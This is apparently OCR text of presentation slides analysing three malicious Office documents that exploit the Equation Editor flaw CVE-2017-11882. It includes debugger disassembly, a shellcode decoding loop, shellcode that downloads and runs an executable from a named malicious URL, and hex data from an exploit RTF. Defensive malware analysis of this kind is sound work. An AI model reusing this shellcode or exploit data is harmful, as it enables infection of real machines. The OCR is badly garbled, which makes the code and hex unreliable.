http://download.ahnlab.com/kr/site/library/[Report]Equation_Editor_Vulnerabilities.pdf



http://download.ahnlab.com/kr/site/library/%5BReport%5DEquation_Editor_Vulnerabilities.pdf

sample1 sample2 sample3

sample2 S

HKLM\SOFTWARE\Microsoft\Office\Common\COM
Compatibility\{0002CE02-0000-0000-C000-000000000046} & =0| Compatibility

Flags 7|7t ZX{5h=X| 22l CHH Ad[e A

https://blog.alyac.co.kr/1413



https://blog.alyac.co.kr/1413

M e sample1 sample2 sample3 QnA
~1

sample2 & &

System Registry [ Kemel Flags Image File I Silent Process Exit I Assert Filtering I
Image: (TAB to refresh) |EONEDT32.exel Launch |

[~ Stop on exception ™ Disable stack extension
[~ Show loader snaps

Enable heap tail checking
Enable heap free checking

Enable system critical breaks
Disable heap coalesce on free

171

Enable heap parameter checking
Enable heap validation on call |~ Enable exception logging

1 171717

Enable application verifier |
[~ Enable page heap

Enable heap tagging
Create user mode stack trace database

171

[~ Early critical section event creation
[~ Stop on user mode exception
r
=

Enable heap tagging by DLL

Enable '60' second value for leap seconds
Load image using large pages if possible
Debugger: | C:\Users\forgotten\Desktop\xdbg\release\x32\x32dbg.exe

Stack Backtrace: (Megs) |

Disable protected DLL verification
lgnore asserts

AU
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.
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.
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.
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00411610
00411612
00411618
00411619
0041161A
0041161B
00411621
00411627
0041162A
0041162F
00411631
00411633
00411635
00411638
0041163C
0041163F
00411644
00411646
00411648
0041164A
0041164C
0041164E
00411650
00411653

0041165A
0041165C
0041165F
00411661
00411664
00411665
0041166A
0041166D
00411672
00411676
0041167C
00411681
00411685
00411689
0041168D
0041168F
00411695

sample1 sample2

sample3

55

8BEC

81EC 88000000
53

56

57

66:C745 FC FFFF
66:C745 C8 FFFF
8B7D 08

B9 FFFFFFFF
2BCO

F2:AE

F7D1

8D41 FF
66:8945 CC
8B7D 08

B9 FFFFFFFF
2BCO

F2:AE

F7D1

2BF9

8BC1

8BD7

8D7D D8

8BF2

C1lE9 02

8BCS
83E1 03
F3:A4
8D45 D8
50
E8 76070400
83C4 04
E8 2EFS0000
66:8945 D4
66:C745 DO 0000
~ E9 04000000
66:FF45 DO
OFBF45 D4
OFBF4D DO
3BC1
~ OF8E 3EO010000
8D45 SC

push ebp

mov ebp,esp

sub esp,0x88

push ebx

push esi

push edi

mov word ptr ss:lebp-0x4| OXFFFF
mov word ptr ss: ebp-oxssi,oxFFFF
mov edi,dword ptr ss:|[febp+0oxs]
mov ecx,0XFFFFFFFF

sub eax,eax

repne scasb

not ecx

lea eax,dword ptr ds:[ecx-0x1]
mov word ptr ss:|ebp-0x34],ax
mov edi,dword ptr ss:|[febp+0xs])
mov ecx,0XFFFFFFFF

sub eax,eax

repne scasb

not ecx

sub edi,ecx

mov eax,ecx

mov edx,edi

lea edi,dword ptr ss:|[febp-0x2s]
mov esi,edx

mov ecx,eax
and ecx,0x3
rep movsb
lea eax,dword ptr ss:|[[ebp-oxzs]
ush eax

eqnedt32.451DEO0
add esp,0x4
€all egnedt32.420FA0
mov word ptr ss:lebp—oxzc ,ax
mov word ptr ss:[ebp-0x30),0x0
jmp eqnedt32.411685
inc word ptr ss:|[ebp-0x30]
movsx eax,word ptr ss:lebp-oxzc
movsx ecx,word ptr ss:|[ebp-0x3
cmp eax,ecx
jle eqnedt32.4117D3
lea eax,dword ptr ss:|[[ebp-0x64]

esi:"TIMES NEW ROMAN"

[ebp+8]:"TIMES NEW ROMAN"

[ebp+8]:"TIMES NEW ROMAN"

edx:"TIMES NEW ROMAN"

esi:"TIMES NEW ROMAN", edx:"TIMES NEW ROMAN"

00411655 shr ecxloxz




: | FPU =212

000000320
00000006
0000000C
0012F34C
0012F1Cs8
0012F134
0012F34C
0012F1A0
00411658 eqnedt32.00411658
EFLAGS 000003206
ZF O PF1 AF O
OF 0O SF O REO
CFO TF1 IF 1

LastError 00000000 (ERROR_SUCCESS)
LastsStatus 00000000 (STATUS_SUCCESS)

GS 0000 FS 003B
ES 0023 DS 0023
CS 001B SS 0023

ST(0) 00000000000000000000 x87r0 H|M 91%

sample1

sample2

0012F37C
0012F38C
0012F39C
0012F3AC
0012F3BC
0012F3CC
0012F3DC
0012F3EC
0012F3FC
0012F40C
0012F41C
0012F42C
0012F43C
0012F44C

20 0C 24 00
00 5C 00 00

£Q0 - 2¢ 00
00 00 00 00
06 00 00 00
R2 2B F9 786
20 00 1D 00
QC Fg 12 00
RO_ES 12 00

20 F2 12 00
01 00 00 0O
20 00 2D 00
Z2.00 ED 04
24 A3 70 78

FF F7 D1 8B
51 FF DO 05

—=F1 20 OS5
7F 07 00 00
A7 5A 00 00
00 00 00 00
59 01 00 00
D9 00 00 00
22 4B 1B 7A

S0 28 1D 00
QD 57 4C 75
00 00 00 00

36 D7 F9 76
RCES 12 00
g4 F4 12 00
80 F2 12 00
68 F4 12 00

| 0012F45C |

\DC F7 12 00

39 8B OF BA
0E F6 DA SA

00
RC_FS 12 00
2 00
80 50 01 72

20 22 4D 00
01 00 00 00
ZC 00 2D 04

22 01 4D 00
00 00 00 00

26 D7 FO 76|28

2B AS 70 7C
AQ A8 42 00

106 00 00 00|

108 00 00 00|

4F 98 B9 FF
2D 9E 27 D8

00 00 00 00

RO ES 12 00).
20 00 2D 00

@d..6xUv8...x.1.
N T AL
«...d0..6XUVE...
X.1..0..[¥uv....
THUVhG.. C.UO..
b= o

01

V'K.Z.Y.u....
elofeleiotels 00

|.1

=]

sample3




0012F1A0

00000000

0012F1A4

752D9140

0012F1A8

0012F208

0012F1AC

7529D4EF

0012F1B0O

7529D513

0012F1B4

7529D500

0012F1B8

0012FEDC

0012F1BC

00000006

0012F1CO

00000020

0012F1C4

OOOOFFFF

0012F1C8

0012F20C

0012F1CC

004115D8

sample1

sample2

sample3
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00425661 push ebp

00425662 mov ebp,esp

00425664 push ebx

00425665 push esi

00425666 ush edi

00425667 eqnedt32.425B4B
0042566C 82FFFFFF eqnedt32.4255F3
00425671 pop edi

00425672 pop esi

00425673 pop ebx

00425674 Teave

00425675

‘o
°
o
o
°
o
°
o
°
°
o
o
°

0012F351 F7D1 not ecx

0012F353 8B39 mov edi,dword ptr ds:[ecx]
0012F355 8BOF mov ecx,dword ptr ds:[edi]
0012F357 BA 4F98B9FF mov edx,0XFFB9984F
0012F35C F7D2 not edx

0012F35E 8802 mov eax,dword ptr ds:[edx]
0012F360 51 ush ecx
0012F361 FFDO h eax

0012F363 05 0DEFGDASA add eax,0xSADAFG0OE
0012F368 2D SE27DS8SA sub eax,0xS5AD8279E
0012F36D FFEO jmp eax

99000000 OOOGS




sample1

00267E40
M jmp 0x267FD2!

00267FD2
jmp 0x2680CF

002680CF
jmp 0x268030

00268090

€all ox268095 ; call 30
pop edx

jmp 0x2680C1

002680C1
add edx,0xiC3

nop
jmp 0x2681F8

002681F8
jmp 0x268110

00268110
jmp 0x268138

0026813B
lea ebp,dword ptr ds:[edx+0x23D]
jmp 0x268168B

00268168
jmp 0x268214

sample2

sample3




sample1 sample2 sample3

00268138
lea ebp,dword ptr ds:[edx+0x29D]
jmp 0x26816B

00268168
jmp 0x268214

00268214
jmp 0x268008

00268008
jmp 0x268231

00268231
jmp 0x268128

00268128
jmp OX2680EF

002680EF
jmp 0Xx26814A

0026814A
Wmimul ecx,ecx,0x0
jmp 0x268226

00268226
jmp 0x268081




sample2 sample3

00268081
Wimul ecx,ecx,0x2B275ABB
jmp 0x268106

00268106
jmp 0x268219

00268219
add ecx,0x554EOFS8S
jmp 0x268145

00268145
jmp 0x2681DB

002681DB
xor dword ptr ds:[edx],ecx
jmp 0x268028

00268028
jmp 0X2680DF

002680DF
add edx,0x4

nop

jmp 0x2680E9
002680E9

jmp 0x2680ED
002680ED

jmp O0x26812F
0026812F

jmp 0x268250

00268250
cmp edx,ebp
jb 0x268081
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int key = 0;
for(int * i=0x268258; i<= Ox2684F5; i+=4)

{

key *= ©x2B275ABB;
key += OX554EOF85;
*1 A = key;




sample2 SN 2

Before

Offset (h)

00000000
00000010
00000020
00000030
00000040
00000050
000000860
00000070
00000080
00000090
000000R0
000000B0
000000C0
000000D0
000000EOQ
000000F0
00000100
00000110
00000120
00000130
00000140
00000150
00000160
00000170
00000180
00000190
000001R0
000001B0O
000001CO
000001D0
000001E0

Decoded text

Laiw-ran), séxe, x
-2¥GdeN. ‘®I”p.qg+
Up.vt <OyOA.GE.»
..%¥™ . IEi..SWiSatm
gné—én.¥1isri<, .5
%.xr<z->m . < {.P-.0
.33, .8 .piG¥é:l
In+yz.0=.6™z . {c
A#t:deI,i x.8Z ~
miAT™S . .ON.N"0e%0
«OBK\eS.37...."3@A
==n|.z@u!>I.p.5q
eb,.>gh DSzev.A1
6..]1.6.E¥0fg ¢,
T'.tz!.n. " %.~".&
Y. 022h?™AckkEG. .
.BE.,A.Z@GQ5"2°>k
.X3LEG¥T..I45" 0
0&ieé.o%fu-.xnSSE
}r;é0@i\adE' " "‘<n
¥n.%.ud¥.¢]fa*s.
8.>D¢  G5A€KD«. S
u<yK, *4.™.56-.%G
MN.:Ny.f£.0.8Ié:x
G..~a-1PB&)cRO-' ¥
x,ri..5;8€3”. (2
A-c@U,) .PXI'G.oM
Iy==B.."q.<U53%@/
&«RA0ZO& »iFnEvVa™
%<[,&.:.Ei."k3*
nxRD~ . 1y.06. xyi

Offset (h)

00000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000090
000000A0
000000B0O
000000CO
000000D0
000000EOQ
000000F0
00000100
00000110
00000120
00000130
00000140
00000150
00000160
00000170
00000180
00000190
000001A0
000001B0O
000001CO
000001D0
000001E0

sample1

sample2

After

sample3

Decoded text

Ji€...8.. . k. e.T
.n.e.1.3.2...&—.
..%Ae&....LoadLib
raryW.Sed...kCe.
.-
s.5eU...%Ee....E
xpandEnvironment
StringsW.Sy0h...
..T$.R&0...%.4.P
.P.D.A.T.A.%.\.u
.g.0.p.%X.6.4.1.3
L..E.X.2.. . UDEL .
..U.r.1.M.0o.n...
yx&....URLDownlo

..TS.ReéD...h.t.t
.p.:././.m.i.r.a
.t.e.c.h.s...t.k
./.u.g.0.p.0.u.n
.d.z...e.x.e...J
.yPe....GetStart
upInfoW.Sy0.”S$S.
..RiyDe&....Create
ProcessW.5y0.”Sh
...R.”$(...Rj.3.
5.35.3.3.3..TS (R¥
Peé....ExitProces
s.5¥03.¥PRd¢ .0..
.<R.FA.¢.cJ0Q¥tS
.&.....AticB.ZA.
.R<L$.<TS$..9.£.A




sample1 sample2 sample3

sample2 &AM 2

segleo:008268258 ;

segf00:008263258 esp, 286h ; stage 2 start!
seg000:0026825E call  sub_ 26875

seg@00:0026825E ;

seg000:00268263 kernel32:

segdl0:002638263 text "UTF-16LE", 'kernel32’',0
seg000:00268275

segleo:008268275 ; SUBROUTINE
segevn:08268275

segeen:008268275

segfv0:00268275 sub_268275 proc near ; CODE XREF: seg@@@:88263825ETp
seg@00:008268275 call getModuleBaseAddress

segfv0:0026327A mov ebx, eax

seg@00:0826827C call loc 26828E

seg000:0026827C

segevn:0826827C

seg000:0026827C ;




sample2 &AM 2

Mz

getModuleBaseAddress proc near
arg_4= dword ptr 38

push edx
mov edx, large fs:36h ; get PEB Address

loc_268419: ; get PEB.LDR
mov edx, [edx+@Ch]

s =

loc_263841F: ; get LDR.InLoadOrderModulelist

mov
mov
push

push

call
test
jz

add edx, @ch
vy

edx, [edx]
ecx, [edx+30h] ; get BaseDllName.Buffer
ecx ; push BaseDllName.Buffer

loc_268425: ; ModuleName

dword ptr [esp+-]

loc_268429:

customModuleNameCompare
eax, eax
short loc_26841F ; get LDR.InLoadOrderModulelist

eax, [edx+18h] ; LDR.BaseAddress

pop edx
retn 4

getModuleBaseAddress endp

sample1

sample2

sample3
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sample2 &AM 2

Seg000:00268281 db 'LoadLibraryW',®

segleo:0026828E

segd00:0026828E

segd00:0026828E ; CODE XREF:
segd00:0026828E

seg@00:00826823F getFunctionAddress
segf00:00263294 edi, eax

seg000:00268296

segleo:008268296 ;

seghve: 00263298

Segdo0:002682AA

segdo0:002682AA

seg000:002682AA loc_2682AA: ; CODE XREF: seg@@0:08268296Tp
seg000:002682AA

seg@00:002632AB getFunctionAddress
seg000:002632B0 esi, eax

segloo: 008268282 loc_2682D1




sample1 sample2 sample3

sample2 &AM 2

edx, [esp+l@h+moduleAddress] ; edx = ModuleAddress

eax, [edx+3Ch] ; IMAGE_DOS_HEADER.e_lfanew

eax, [edx+eax+78h] ; IMAGE_NT_HEADER.IMAGE_OPTIONAL_HEADER32.IMAGE_DATA_DIRECTORY
eax, [eax] ; Export Directory RVA

eax, edx ; Module Address + Export Directory RVA

eax

ecx, [eax+18h] ; Export Directory, NumberOfNames

ebx, [eax+2@h] ; Export Directory, AddressOfNames

ebx, edx ; Module Address + AddressOfNames

al, al

test ecx, ecx
jz short loc_2684E9 ; if ecx is zero jmp|

|‘I

ecx
ecx, [ebx]
ecx, [ecx+edx]
edi, ecx
push edi
mov esi, [esp+lCh+findFunctionName] ; esi = findFunctionName
xor ecx, ecx
dec ecx
repne scasb
not ecx
pop edi
repe cmpsb ; compare string single byte
jnz short loc_2684E2 ; increase AddressOfNames

ecx
eax loc_2684E9: - increase AddressOfNames
ecx, [eax+18h] xor eax, eax ebx, 4

ecx add esp, 4 ecx

ebx, [eax+24h] ecx decrease NumberOfNames
ebx, edx j short loc_2684A8

ebx, word ptr [ebx+ecx*2]

eax, [eax+1Ch]

eax, [eax+ebx*4]

eax, [eax+edx]

eax, edx ; eax = FindFunctionAddress
short loc_2684EE




sample2 &AM 2

:cswu TUTLUDLU L

sege0:00268287

segevo:082682D01 ;

segoee:082632D1
segbee:082632D1
segbee:082632D1
segben:082632D2
seg000:002682D4
segeeo:0082682D9
segeoo:8826320D
segbe:882682DE

loc_2682D1:

segloo:0082682DE ;

segloo:8082682E3
segloo:80826382E3

seg8ee:00268313 ;

seg@00:08268313
segf00:0082638313
segleo: 008268313
segf00:008268315

seg@ee:00268315 ;

esi

104h

edx, [esp+8]
edx
loc_268313

; CODE XREF: seg@@0:802682B21p

sample2

sample3
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sample2 &AM 2

SEEUYUYIUULO0D1LD
segdee:808263831A
seglee:00826831A
seg000:008268328 ;
seg000:008268328
segb0B:008268328
segoee:08268328
Segoev:0826832A
seg008:0826832A

loc_268342

seéOOO:OOZGSBZF aUrldownloadtof db 'URLDownloadToFileW',®@
SEegBB0:0B268342 ; - ooooooooooooooo-
segho0: 00268342

seg000:00268342 loc_268342: ; CODE XREF: seg@@0:0026832ATp

seg0te: 008268342
seg00e: 00268343
segleo: 008268345
seg000:00268347
seg000:00268349
segho0:0026834D
seg000:00826834E

seglv0:808268353
seglvo:808268353

segleo:08268397
seg000:00268397
segleo: 008268397
segleo: 008268399
segeeo: 008263398

segBeo:0026834E ;

2
aHttpMiratechsT:

seglvo:008268397 ;

=pocARA - AA?ARIAR -

es1
<]

<]

edx, [esp+@Ch]
edx
loc_268397
SEEOBB:BB26834E 5 ~- - === ===

text "UTF-16LE", "http://miratechs.tk/ugopoundz.exe’,®@

sample2

sample3
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E ]

segP0e:002683A2 aGetstartupinfo db 'GetStartupInfol’,@
5eg000:002683B0 ; ---------=-========----=-eeeeeeeeeeeeeeeeeeeeeeeeeeeeee—e—eeeeeeeeeee—e=

segeoo:00263380

seg@00:002633B0 loc_2683B0@:

segboo: 008263380
seg000:00268361
segleo: 00268383
segloo:0826383BA
segeoo: 00263368
segeoo:082633BD

seg@00:082683BD .

segvo:882633D1
segde:0082683D1
segde: 08268301
segbe:082683D2
segbo0:8082633D4
segbe:00826383DB
segd00:0026383DC
segdB0:082683E3
segdB0:0026383E4
segbe0:0082683E6
segb0:0082683E8
segbBo:BB2683EA
segdBe:082683EC
segbBe:BB2683EE
segbdo:082683F0
segdB0:0082683F2
segb0:0082683F6
segdB0:0082683F7
segdBe:0082683F9
seg00:082683F9

loc_2683D1:

.
b

ebx

esi

edx, [esp+224h]
edx

eax

loc_2633D1

seg@@0:002683C2 aCreateprocessw db 'CreateProcessW’',@

ebx
esi
edx, [esp+268h]
edx
edx, [esp+228h]
edx

edx, [esp+28h]
edx

eax
loc_26340A

; CODE XREF: seg@@@:0826839BTp

; CODE XREF: seg@@@:082683BDTp

sample2

5egBBB:@B2683DL ; ---- -

sample3




sample2 AbN| BEM sample1 sample2 sample3

et = i

Seg@00:002683FE aExitprocess db 'ExitProcess’,@

SEegBB0:IB026840A ; -
segBeo:00263840A

segl00:0026840A loc_26840A: ; CODE XREF: seg@@0:002683F91p

segfB0:0026340A push ebx

segfo0:0026340B call esi

segfo0:0026340D push 2]

segfo0:0026340F call eax ; shellcode end
seg000:008268411




sample1 sample2 sample3

sample2 Z&




M e sample1 sample2 sample3 QnA

sample3 HH 2M

Detect It Easy 2.05 - X
File name: C:/Users/forgo/Desktop/analy/sample3/sample3,vir
Scan Scripts Log
Type: | Binary ize: 811386 Entropy

w Binary
Format: Microsoft Office Word{12,0000)

Options

Nauz File Detector v Signatures About

>
Exit




sample3 M=

sample1

sample2

sample3

© sample3 zip - $tCIE 7.16 (AHEE)
oaE BETE RN EBEG) 2V =M ESZA

=
L.

_rels
| theme
B afchunk2.docx
document.xml
fontTablexml
settings.xml

styles.xml
webSettings.xml
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sample3 M=

® Copy Caption

/relationships™>

r/officeDocument/2006/relationships/webSettings” Target="webSettings.xml” Id="rId3" />
/officeDocument/2006/relationships/settings” Target="settings.xml” Id="rId2" />
/officeDocument/2006/relationships/styles” Target="styles.xml” Id="rId1" />
/officeDocument/2006/relationships/theme” Target="theme/themel.xml” Id="rId5" />
r/officeDocument/2006/relationships/fontTable” Target="fontTable.xml” Id="rId4" />
/officeDocument/2006/relationships/aFChunk” Target="/word/afchunk2.docx” Id="AltChunkIds5"” />

https://docs.microsoft.com/en-us/dotnet/api/documentformat.openxml.wordprocessing.altchunk?view=openxml|-2.8.1



https://docs.microsoft.com/en-us/dotnet/api/documentformat.openxml.wordprocessing.altchunk?view=openxml-2.8.1

Samp|e3 Q’S'.' sample2 sample3

© afchunk24.zip - HCIT 7.16 (ASHGE)
2O ZEN EEG BV E=EFM E2Z2NW

_rels
| theme
833 afchunk.rtf
document.xml
fontTable.xml
settings.xml
styles.xml
webSettings.xml




sample3 HH 2M

7He sample1 sample2 sample3 QnA

fchunkrtf .vir

567h |format_id:
|class name:
|data size:
|OLE Package o
|Filename: 'calc.exe'
|Source path: 'C 'epa+hWﬁcalc.exe'
| Temp Pd+h = 'Cififakepathiftic

IMDS = bOh.LOfedeETZOBbeSb O5ﬂ91T4TUfL
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sample3 M=

Files Written

C:\Users\Administrator\AppData\Roaming\Microsoft\Templates\~§Normal.dotm

C:\Users\Administrator\AppData\Local\MicrosoftiWindows\Temporary Internet Files\Content. Word\~WRS{97F503D7-A074-4BD4-8E67-B77C74165ACDLtmp
C:\~$sample.docx

C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. Word\~WRS{1AFAADA4E-755D-4205-863A-577E6135CC3ALtmp

|§:\Usem\Administrator\AppData\LocaI\Temp\calc.exe

\Users\Administraton AppData\Local\MicrosoftwWindows\Temporary Internet Files\Content. MSO\86C80F64.wmf
C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content Word\~WRF{E969F506-A0CF-491A-AA39-58C966169DCBLtmMp
C:\Users\Administrator\AppData\Local\MicrosoftiWindows\Temporary Internet Files\Content. Word\~WRS{A74ABC73-04EB-43BB-A0B0-25684BESASDB}Ltmp
C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. Word\~WRS{EC47F228-1759-4270-B547-5D5300039381}L.tmp
C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{6AE2C7E8-E414-4A6F-884E-CCBO7E1469CBLtmp
C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. Word\~WRS{DE98D48D-4632-4986-A4FA-602B2350ADFClLtmp
C:\Users\Administrator\AppData\Local\Microsofti\Windows\Temporary Internet Files\Content Word\~WRS{CD49451D-7DAF-4205-877C-944963D4DC63}.tmp
C:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\sample.LNK
C:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recentiindex.dat
C:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\ i1 5 £ (C).LNK




Samp|e3 A sample1 sample2 sample3

Shell Commands

cmd.exe lc¥%tmp%\calc.exe AT$C

Processes Injected

C:\Windows\System32\cmd.exe
C:\Users\ADMINI~T\AppData\Local\Temp\calc.exe

Processes Terminated
C:\Windows\Microsoft. NET\Framework\v4.0.30319\mscorsvw.exe

C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE
C:\Users\ADMINI~T\AppData\Local\Temp\calc.exe
C:\Windows\System32\cmd.exe

Processes Tree
|% 3184 - mscorsvw.exe

‘% 2196 - egnedt32.exe

|9 3272 - eqnedt32.exe

|—) 3188 - cmd.exe

|% 2916 - calc.exe




M A= e sample1 sample2 sample3 QnA
oo

sample3 X &M,

o0 o0
AR 0 contributors

15 lines (15 sloc) 7.89 KB

{\rtfl\ansi\ansicpgl252\deff@\nouicompat\deflangl@33{\fonttbl{\fO\fnil\fcharset® Calibri;}}

{\*\generator Riched2@ 6.3.9600}\viewkind4\ucl
\pard\sa2e0\s1276\s1multl1\fO\fs22\1lang9{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260@{\*\objdata 0149

H\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal26d
910005000003 900000002001 c0000000000050000000902000000000500000002010100000005
0000000102f FFT00050000002c0113000000050000000b0200000000050000000c02a0016002
1200000026060F001a00f T fo00010000000coffIfffcofffffT20020000660100000b0000
00260601000c004d61746854797065000020001c000000TbO236T000000000000900100000000
0402001054696d6573204e657720526T6d616e00fef fH5f2d0ab500000a0000000000040000
002d01000009000000320a6001100003000000313131000a00000026060T000a0RF 0100
000000001 000000 TbO21000070000000000bCcO2000000000102022253797374656d4000043008a
0100000a000600000043008a01 fFFfff6ce21800040000002d01010004000000T00100000300
00000000

I3

\par}

https://github.com/embedi/CVE-2017-11882/tree/master/example



https://github.com/embedi/CVE-2017-11882/tree/master/example
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(1) 42 security vendors flagged this file as malicious

02a69029bf2b0c97bfb9ddbbebe8940911b11007a92d8cadabdf6597b72eb453 7.89 KB 2021-04-24 15:39:49 UTC
exploit.rtf Size 1month ago

e cve-2017-11882  exploit  ole-embedded  rtf
X Community V

Score




CVE-2017-11882-master

0l

l ins
Gf exploit.rtf
=1 test.docx

CVE-2017-11882-master

~

example

sample1

sample2

sample3

QnA
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(1) 41security vendors flagged this file as malicious

568761013854e719faBbc384e5ef68974dfffe199daf01416d1cc1d0eBb462e8 13.19 KB 2021-06-16 11:39:30 UTC
test.docx Size amoment ago

?
cve-2017-11882 docx  exploit

X Community v,
Score
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(1) 34 security vendors flagged this file as malicious

e32f589c57501392a705e1e796c3d249764af5124020d4b9b25f476491d2bfbf 51.38KB 2021-06-16 11:49:46 UTC

testS.docx Size a moment ago
?

cve-2017-11882 docx  exploit
X Community 7

Score
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SNS ID : https://www.facebook.com/to2to1717/

Blog : https://fosr.tistory.com/
Github : https://github.com/OutDoorFrOg/



XX

https://post.naver.com/viewer/postView.nhn?volumeNo=10186131&memberNo=3326308
https://www.hankookilbo.com/News/Read/201503171885878015
https://csrc.kaist.ac.kr/blog/2021/06/15/%EB%AC%B8%EC%84%9C%ED%98%95-
%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C%EB%8A%94-

%EBY%AC%B4%EC%97 %87 %EC%9D%B4%EA%B3%A0-%EC%96%B4%EB%96%A0%ED%95%9C-
%ED%8A%B9%EC%A7%95%EC%9D%B4-%EC%IE%88%EC%9D%84%EA%B9%8C/?
foclid=IwAROLNnotGdLr2woNiGDu3wAJv5ylls0Gh1QxKpmnrbn4SFzlg_vDg2Gltodo
https://blog.alyac.co.kr/3033

https://blog.alyac.co.kr/1076



https://post.naver.com/viewer/postView.nhn?volumeNo=10186131&memberNo=3326308
https://www.hankookilbo.com/News/Read/201503171885878015
https://csrc.kaist.ac.kr/blog/2021/06/15/%EB%AC%B8%EC%84%9C%ED%98%95-%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C%EB%8A%94-%EB%AC%B4%EC%97%87%EC%9D%B4%EA%B3%A0-%EC%96%B4%EB%96%A0%ED%95%9C-%ED%8A%B9%EC%A7%95%EC%9D%B4-%EC%9E%88%EC%9D%84%EA%B9%8C/?fbclid=IwAR0LnotGdLr2woNiGDu3wAJv5yIls0Gh1QxKpmnrbn4SFzIq_vDg2GItoJo
https://csrc.kaist.ac.kr/blog/2021/06/15/%EB%AC%B8%EC%84%9C%ED%98%95-%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C%EB%8A%94-%EB%AC%B4%EC%97%87%EC%9D%B4%EA%B3%A0-%EC%96%B4%EB%96%A0%ED%95%9C-%ED%8A%B9%EC%A7%95%EC%9D%B4-%EC%9E%88%EC%9D%84%EA%B9%8C/?fbclid=IwAR0LnotGdLr2woNiGDu3wAJv5yIls0Gh1QxKpmnrbn4SFzIq_vDg2GItoJo
https://csrc.kaist.ac.kr/blog/2021/06/15/%EB%AC%B8%EC%84%9C%ED%98%95-%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C%EB%8A%94-%EB%AC%B4%EC%97%87%EC%9D%B4%EA%B3%A0-%EC%96%B4%EB%96%A0%ED%95%9C-%ED%8A%B9%EC%A7%95%EC%9D%B4-%EC%9E%88%EC%9D%84%EA%B9%8C/?fbclid=IwAR0LnotGdLr2woNiGDu3wAJv5yIls0Gh1QxKpmnrbn4SFzIq_vDg2GItoJo
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